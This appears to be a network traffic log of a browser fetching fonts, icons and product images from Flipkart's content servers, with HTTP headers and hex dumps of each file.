2025-03-14 12:29:08 UTC	624	OUT	GET /batman-returns/batman-returns/p/fonts/Inter-SemiBold.woff2 HTTP/1.1 Host: static-assets-web.flixcart.com Connection: keep-alive Origin: https://www.flipkart.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:08 UTC	428	IN	HTTP/1.1 200 OK Content-Type: application/font-woff2 Last-Modified: Tue, 24 Jan 2023 12:22:10 GMT ETag: "6519822837c4151236c94a4c01f814a9" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: viewport-width, dpr Cache-Control: public, max-age=25991448 Expires: Fri, 09 Jan 2026 08:19:56 GMT Date: Fri, 14 Mar 2025 12:29:08 GMT Content-Length: 11284 Connection: close
2025-03-14 12:29:08 UTC	11284	IN	Data Raw: 00 01 00 00 00 0d 00 80 00 03 00 50 47 44 45 46 00 e7 00 ed 00 00 2b a0 00 00 00 28 47 50 4f 53 44 76 4c 75 00 00 2b c8 00 00 00 20 47 53 55 42 b8 fa b8 f4 00 00 2b e8 00 00 00 2a 4f 53 2f 32 7e a2 20 b3 00 00 24 cc 00 00 00 60 63 6d 61 70 6a f1 6a e2 00 00 25 2c 00 00 00 d6 67 6c 79 66 05 7a ce 57 00 00 00 dc 00 00 20 fa 68 65 61 64 34 c8 cc 08 00 00 22 cc 00 00 00 36 68 68 65 61 1e 5d 0f f3 00 00 24 a8 00 00 00 24 68 6d 74 78 98 0c 3d 78 00 00 23 04 00 00 01 a4 6c 6f 63 61 c6 fd ce 9e 00 00 21 f8 00 00 00 d4 6d 61 78 70 00 80 00 e5 00 00 21 d8 00 00 00 20 6e 61 6d 65 1a 7a 33 b8 00 00 26 04 00 00 01 66 70 6f 73 74 ea be 76 19 00 00 27 6c 00 00 04 34 00 05 01 15 fd 80 0a 43 0a 80 00 03 00 07 00 0b 00 0f 00 13 00 00 01 11 21 11 01 11 21 11 01 11 21 11 01 Data Ascii: PGDEF+(GPOSDvLu+ GSUB+*OS/2~ $`cmapjj%,glyfzW head4"6hhea]$$hmtx=x#loca!maxp! namez3&fpostv'l4C!!!

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:08 UTC	701	OUT	GET /batman-returns/batman-returns/p/images/header_3verticalDots-ea7819.svg HTTP/1.1 Host: static-assets-web.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:09 UTC	420	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Last-Modified: Thu, 09 Jan 2025 18:11:07 GMT ETag: W/"ea7819765c5789846070bc6da5d7693e" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: viewport-width, dpr Cache-Control: public, max-age=26099032 Expires: Sat, 10 Jan 2026 14:13:00 GMT Date: Fri, 14 Mar 2025 12:29:08 GMT Content-Length: 1518 Connection: close
2025-03-14 12:29:09 UTC	1518	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 31 33 2e 31 32 35 20 31 32 43 31 33 2e 31 32 35 20 31 32 2e 32 32 32 35 20 31 33 2e 30 35 39 20 31 32 2e 34 34 20 31 32 2e 39 33 35 34 20 31 32 2e 36 32 35 43 31 32 2e 38 31 31 38 20 31 32 2e 38 31 20 31 32 2e 36 33 36 31 20 31 32 2e 39 35 34 32 20 31 32 2e 34 33 30 35 20 31 33 2e 30 33 39 34 43 31 32 2e 32 32 35 20 31 33 2e 31 32 34 35 20 31 31 2e 39 39 38 38 20 31 33 2e 31 34 36 38 20 31 31 2e 37 38 30 35 20 31 33 2e 31 30 33 34 43 31 31 2e Data Ascii: <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M13.125 12C13.125 12.2225 13.059 12.44 12.9354 12.625C12.8118 12.81 12.6361 12.9542 12.4305 13.0394C12.225 13.1245 11.9988 13.1468 11.7805 13.1034C11.

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:08 UTC	720	OUT	GET /image/120/120/ko8xtow0/monitor/t/a/y/d24-20-66aekac1in-lenovo-original-imag2qwzazcdmqtb.jpeg?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:09 UTC	281	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: b3a692e58d706d20d2e716835e017325 Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:09 GMT Content-Length: 2334 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955348.12b4b859
2025-03-14 12:29:09 UTC	2334	IN	Data Raw: 52 49 46 46 16 09 00 00 57 45 42 50 56 50 38 20 0a 09 00 00 30 2b 00 9d 01 2a 78 00 72 00 3e 6d 2e 93 47 26 23 a2 a1 ab 15 1b 68 c0 0d 89 63 00 d6 a0 80 d3 34 a1 ae 2f 1a 5b 33 3c e7 2f fb 21 fa 35 dc 11 cf 67 a6 f5 bd 33 5e ff fa af 0a 7c c5 7c aa 55 9f 75 e4 29 de 5e 36 77 c3 f2 2e 5f fb 57 00 2f d6 3f 44 29 d5 2a e5 32 df ec ff ef bd 5e 3f e7 f4 33 f5 a7 03 9f 42 53 f9 6f d1 bd 32 90 84 60 06 32 6e 2c 0b 72 b9 37 98 b3 06 ff d7 ba 54 5f 96 6e 54 55 95 6d 55 d5 94 12 9f f5 1b 36 ac 7c fd 02 06 2a 81 28 bd b8 0f 03 8b c3 2b d6 9a 43 0e 6c 5d 89 4d fa 13 7d a7 c0 ee 77 b0 da 52 0d da 77 6a f1 34 cd cc cd 4a 17 57 04 e5 40 b2 8d f6 7c 4b fb bd 61 70 6c 76 2d fd a7 5b ee 2c af 11 75 f0 73 eb b5 3f 30 9b 51 7e 31 81 93 c2 a9 5d 6e 80 b2 31 ac 49 2d c3 3d 39 Data Ascii: RIFFWEBPVP8 0+xr>m.G&#hc4/[3</!5g3^\|\|Uu)^6w._W/?D)2^?3BSo2`2n,r7T_nTUmU6\|*(+Cl]M}wRwj4JW@\|Kaplv-[,us?0Q~1]n1I-=9

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:08 UTC	700	OUT	GET /www/linchpin/batman-returns/images/fk-default-image-75ff340b.png?q=90 HTTP/1.1 Host: static-assets-web.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:09 UTC	395	IN	HTTP/1.1 200 OK Last-Modified: Sat, 21 May 2022 17:07:40 GMT ETag: "75ff340bc641881f11d187a8492b284a" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: viewport-width, dpr Content-Type: image/png Content-Length: 1953 Accept-Ranges: bytes Expires: Fri, 14 Mar 2025 12:29:09 GMT Date: Fri, 14 Mar 2025 12:29:09 GMT Connection: close
2025-03-14 12:29:09 UTC	1953	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 51 08 04 00 00 00 9d 8b 8b 35 00 00 07 68 49 44 41 54 78 da e5 5b 7b b0 4d 55 18 df de 4a f2 9e 26 ef 98 2e c5 90 a1 bc 27 8f 4c 5d c5 75 47 64 10 49 1e 79 ce 94 c7 f5 9e a2 72 85 09 89 09 29 79 35 28 d1 54 28 2a 37 af 42 a5 ba 5e c3 f7 5b 7b 9f 73 2e 97 2b 22 46 d8 fd c1 e1 ee b5 d7 da 6b 9d 7b cf 3e 77 d3 de ff ae 6f ad df 6f 7d df 5a fb 7b 6d c3 28 e0 c7 2e 64 96 b7 92 ac e6 e8 c4 5e a0 51 98 8e 45 f4 19 b6 d3 9f 74 12 73 8c e0 3f 76 61 ab 82 95 44 2d 58 67 d6 8f 46 23 9d 2d c6 7a 6c a7 4c 64 e3 0a d9 e2 17 ab 03 04 3f 5c 31 54 07 2d 59 0a 7b 11 63 90 4e 4b f0 39 32 e8 20 4e e1 aa 0c be fc c5 96 44 c3 2f 12 a9 14 ae 8b 56 2c 85 fa 63 2c 66 d0 07 d8 80 1f e9 50 de e0 7b bc fb fc 83 ff Data Ascii: PNGIHDRlQ5hIDATx[{MUJ&.'L]uGdIyr)y5(T(*7B^[{s.+"Fk{>woo}Z{m(.d^QEts?vaD-XgF#-zlLd?\1T-Y{cNK92 ND/V,c,fP{

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:09 UTC	703	OUT	GET /image/120/120/l58iaa80/electric-cycle/i/y/f/-original-imagfykthgudy4qz.jpeg?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:09 UTC	281	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: e88399e97b22d769bd290a57d225c3cb Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:09 GMT Content-Length: 2374 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955349.12b4bc23
2025-03-14 12:29:09 UTC	2374	IN	Data Raw: 52 49 46 46 3e 09 00 00 57 45 42 50 56 50 38 20 32 09 00 00 70 25 00 9d 01 2a 78 00 4b 00 3e 6d 2e 92 46 26 24 22 96 6b 86 00 60 06 c4 b4 80 09 e8 cf c1 fe 33 79 bb e2 ab cd be d9 f2 0d 89 37 c9 be d3 fe 77 ca be f1 fe 15 ea 05 f8 d7 f4 0f f0 9f 98 1c 06 d6 5b d0 23 ba 5f e8 bc 40 35 20 c8 03 f5 5b d2 ef f5 5e 07 de 27 ec 07 f9 8f cf df fe ef f5 ff 91 5e d6 7e 98 ff c7 fe 67 e0 2b f9 f7 f6 9f f9 fd 82 3f 6a 7f ff fb b3 7e cc 37 85 d7 df 14 e1 2c fd aa 99 5f be 28 86 41 ac 16 da 9c 80 b9 bc 95 bb ed 46 b4 71 d9 39 35 22 5a fd 8a c0 de 62 77 f2 13 fc bf ee 82 ab ba 45 72 3c 24 bb 1a 7a 15 11 30 74 2e 23 61 70 3b cf 9d 84 67 62 7e bc c8 ad e1 96 79 73 5d c1 8b bb 96 6c 6f bc 85 f4 eb 25 26 42 e7 d7 ad da 29 30 1f 9a 2b e9 75 04 2c 68 1c d4 45 57 b9 3e e9 ba Data Ascii: RIFF>WEBPVP8 2p%*xK>m.F&$"k`3y7w[#_@5 [^'^~g+?j~7,_(AFq95"ZbwEr<$z0t.#ap;gb~ys]lo%&B)0+u,hEW>

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:09 UTC	763	OUT	GET /image/120/120/krtjgcw0/microphone/x/h/j/3-5mm-clip-metal-microphone-for-voice-recording-lapel-mic-mobile-original-imag5gxrug6fcbct.jpeg?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:09 UTC	281	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: 9428fa152e27bb57aa2a40d4cebe6828 Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:09 GMT Content-Length: 1566 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955349.12b4bc30
2025-03-14 12:29:09 UTC	1566	IN	Data Raw: 52 49 46 46 16 06 00 00 57 45 42 50 56 50 38 20 0a 06 00 00 90 1c 00 9d 01 2a 46 00 78 00 3e 6d 2e 93 46 26 24 22 95 99 be 9c 60 06 c4 b4 80 09 f0 df cd f8 7b e1 e7 d9 4a 05 f6 9f fb cf 09 0f 0e 7e 1a 64 db fc 8f 88 0e d3 e0 01 f8 ef f3 af f4 fe a0 dd a4 f4 27 ea f7 2c 47 82 2c 76 7f ba f4 fd ff a7 fd 1f a2 df a4 ff ef 7f 94 f8 17 fd 73 ff 97 d8 ed 03 6d 9a 81 9b 3f 33 3e 87 c7 39 3f 9f 29 22 d6 08 c4 d9 07 f3 88 5f fb 30 d1 a4 fe bd f5 be 34 f1 3e 9b 59 4f 55 a4 7a cc 16 f6 af ed 58 a3 16 ab a0 5e 3d 38 b7 b8 36 d1 b5 33 e8 66 67 6f 39 9b 2b dd 03 0f e1 58 f4 d8 f5 aa b5 56 ad 61 a6 54 2c 84 77 2e ce e1 5e 4a 40 22 d0 16 35 16 31 34 83 32 19 99 64 4f b1 f4 96 21 bd 8f 41 cb 44 dd 1a bc 9d 8d c8 05 a3 47 dd 09 9b 1d 2c 00 f7 f5 94 02 cb 1d eb ce 23 6f 73 Data Ascii: RIFFWEBPVP8 *Fx>m.F&$"`{J~d',G,vsm?3>9?)"_04>YOUzX^=863fgo9+XVaT,w.^J@"5142dO!ADG,#os

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:09 UTC	718	OUT	GET /image/120/120/l58iaa80/headphone/k/z/m/nord-buds-ce-oneplus-original-imagfyk4hyvgg6ze.jpeg?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:09 UTC	281	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: 1efac242f58a17d4633d54648434c512 Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:09 GMT Content-Length: 1158 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955349.12b4bc62
2025-03-14 12:29:09 UTC	1158	IN	Data Raw: 52 49 46 46 7e 04 00 00 57 45 42 50 56 50 38 20 72 04 00 00 b0 19 00 9d 01 2a 45 00 78 00 3e 65 28 91 45 a5 a3 a2 9a ca 67 10 58 06 44 b3 86 e2 22 c9 d1 29 fc 3f ce 69 9c b9 fd d0 09 84 7a 7a 5a 41 4e 1d a8 5a 09 b4 73 a5 ad c6 44 08 0d 23 01 d6 1e 04 63 02 72 91 0a 20 22 5a b7 a5 f7 53 ff 53 5b 3a d1 34 af d6 cc ba 28 57 c5 5d 18 54 49 c3 cd 6d c4 91 65 43 e5 0b 76 9a f5 f6 b5 e2 7b e0 26 42 00 cd a7 33 d0 28 a9 22 40 e5 74 0b a2 76 a2 22 09 a9 14 23 e6 cb f2 c8 62 90 22 68 d3 5f e9 51 dd 1f ca e4 1e e9 77 45 02 cc 79 09 6b de 08 6c df a9 77 97 f9 89 53 ce 41 bf 0e 33 7c 92 65 2c 29 5c 6e e2 75 a9 e6 4c c7 82 33 b8 5b f9 80 d2 f9 df e8 09 ec 4c 1f a0 bc 63 48 06 74 43 92 50 de d5 c6 2f f3 a0 00 fe fd 39 d1 2c 03 5b 7e 5e ba 71 f4 66 d3 27 59 e6 eb c8 c3 Data Ascii: RIFF~WEBPVP8 r*Ex>e(EgXD")?izzZANZsD#cr "ZSS[:4(W]TImeCv{&B3("@tv"#b"h_QwEyklwSA3\|e,)\nuL3[LcHtCP/9,[~^qf'Y

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:09 UTC	436	OUT	GET /fk-p-flap/1620/270/image/373914b13f0b4dfb.jpg?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:10 UTC	281	IN	HTTP/1.1 200 OK Content-Type: image/jpeg ETag: 3c732890c4ce76f2f0a370b6fa8660c0 Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:10 GMT Content-Length: 28278 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.45b6655f.1741955349.5aabc8d
2025-03-14 12:29:10 UTC	16103	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c0 00 11 08 01 0d 06 54 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((T"}!1AQa"q2
2025-03-14 12:29:10 UTC	8473	IN	Data Raw: 57 32 48 57 a6 7d 2b a3 8e 30 d8 ce 38 af 46 85 79 4e 2a 55 56 bd 8f 27 15 87 8c 26 e3 49 de 2b 66 73 f1 78 8a 09 3c 55 36 86 b0 ca 66 8a 3f 31 a5 e3 68 e0 1f af 42 29 20 f1 2d 9d fd 81 b9 d3 a7 45 89 5d 96 49 6e 14 aa c6 14 02 49 1c 67 aa 8e bd eb 7d 74 9b 3f b4 c9 72 2d a1 17 12 a6 c7 94 20 0e cb e8 4f 5e c3 f2 ac 56 f0 86 9e d6 b7 5a 3d b2 c9 6d 66 d0 e4 f9 6d 96 cb be 4f 27 3f f3 cc 57 42 94 59 c2 e2 d1 73 48 bf 37 8d 81 25 bc c8 63 12 c7 35 bb e5 1c 12 47 e1 c8 f5 35 30 d5 51 41 72 97 02 0e d3 79 79 42 3d 78 e4 0f 72 31 55 34 9d 39 34 5d 3e f2 3b 6d cd 1d 9c 4b 0c 65 ba 9d ab bb f5 2e 6b 19 f4 7d 6e df 5f bc 79 e7 90 68 ed 6f 1d ac 11 89 72 a4 9d 89 f7 7b 1f bc 73 4d 59 dc 93 b5 59 dc 74 39 a9 56 e9 c7 5a e6 34 1b 9d 62 e3 c4 9a cc 57 f0 b4 5a 64 04 Data Ascii: W2HW}+08FyN*UV'&I+fsx<U6f?1hB) -E]InIg}t?r- O^VZ=mfmO'?WBYsH7%c5G50QAryyB=xr1U494]>;mKe.k}n_yhor{sMYYt9VZ4bWZd
2025-03-14 12:29:10 UTC	3702	IN	Data Raw: 67 95 c6 c7 39 35 65 25 20 57 43 0f 83 75 16 ea b1 27 b9 7f f0 ab d0 f8 22 e3 8f 36 e6 25 fa 02 6b b2 79 ee 06 1b d5 5f 2d 7f 23 c1 87 0f e6 35 76 a4 fe 7a 7e 67 05 70 ed e7 bf 5e 4d 37 7b 7b d7 a3 af 81 2d d9 83 4d 76 e4 f7 da 80 55 d8 3c 15 a4 c7 f7 c4 d2 7f bc f8 fe 55 f0 d8 bc 7d 09 56 9c a0 ee 9b 7d 0f d4 f0 14 ab 43 0d 4e 15 15 a4 a2 93 f9 23 80 8a 57 92 dd 41 ee 30 6b 34 ac a1 88 c1 c8 e2 bd 8a df c3 da 54 03 09 66 87 fd e2 5b f9 d5 e8 6c ed a1 ff 00 55 6f 0a 1f f6 50 0a 58 bc e2 9d 78 45 28 bb a3 3c 1e 5d 53 0d 52 6e eb 96 47 8c 5b e9 f7 f7 18 f2 6d a7 93 fd d4 26 b5 ad 3c 29 ad 4d 83 f6 71 10 f5 91 c0 fd 3a d7 ac 51 5e 6c b1 d2 7b 23 d2 54 7b b3 cf ed 7c 0b 76 df f1 f5 7b 1c 63 d2 35 2d fc f1 5b fa 4f 85 2c ec 0b 16 92 59 d9 b1 9d e7 03 f4 ae 86 Data Ascii: g95e% WCu'"6%ky_-#5vz~gp^M7{{-MvU<U}V}CN#WA0k4Tf[lUoPXxE(<]SRnG[m&<)Mq:Q^l{#T{\|v{c5-[O,Y

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:09 UTC	756	OUT	GET /image/120/120/xif0q/projector/x/a/e/zeb-pixaplay-63-zeb-mlp-7-13-05-zeb-pixaplay-63-zeb-mlp-7-led-original-imah8r9fgjfs27jh.jpeg?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:09 UTC	281	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: 398878ab4f1c020aba0376ae34ea800d Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:09 GMT Content-Length: 1598 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955349.12b4bc94
2025-03-14 12:29:09 UTC	1598	IN	Data Raw: 52 49 46 46 36 06 00 00 57 45 42 50 56 50 38 20 2a 06 00 00 50 22 00 9d 01 2a 75 00 78 00 3e 6d 2c 93 48 26 23 22 a1 a7 92 2d 38 c0 0d 89 69 00 0e bc 31 2c ef 2f 3d 7d a2 cd 14 1e ec a0 3e e2 64 d4 f1 bd f4 5f 89 fb 3a 83 f7 3e 47 08 5f 87 36 5c 67 e7 e9 ec 95 1d 1e aa b4 14 2d 48 e4 cd c5 eb d0 44 1d 4d 21 47 af 3a f6 ad 5b 7f 38 3d 08 3c 1e ce 4f db 4e b6 83 1e 3f 6e b7 67 6e fe 06 b1 e7 d3 3a a1 7e 0f 51 80 19 ec 42 6e e0 c3 a6 3f 9f d6 1c 44 79 71 da 6d 61 05 e0 6e ec 57 42 4b f9 d1 c6 43 a7 ad aa 48 d9 67 5b b5 3a 5c 5f 8b 8c db 78 47 37 01 56 e5 34 5b 23 7b d3 2c 85 51 40 ab 60 93 36 6d 50 23 c6 db e8 35 23 72 a7 64 82 1c 10 81 c0 58 a1 cb fb ab 62 de de 5a 47 8d 3b 06 13 5e 05 03 95 99 19 a4 0f 61 75 b3 82 7c 27 b1 a3 4c 98 41 af d4 47 40 7e a4 a4 Data Ascii: RIFF6WEBPVP8 P"ux>m,H&#"-8i1,/=}>d_:>G_6\g-HDM!G:[8=<ON?ngn:~QBn?DyqmanWBKCHg[:\_xG7V4[#{,Q@`6mP#5#rdXbZG;^au\|'LAG@~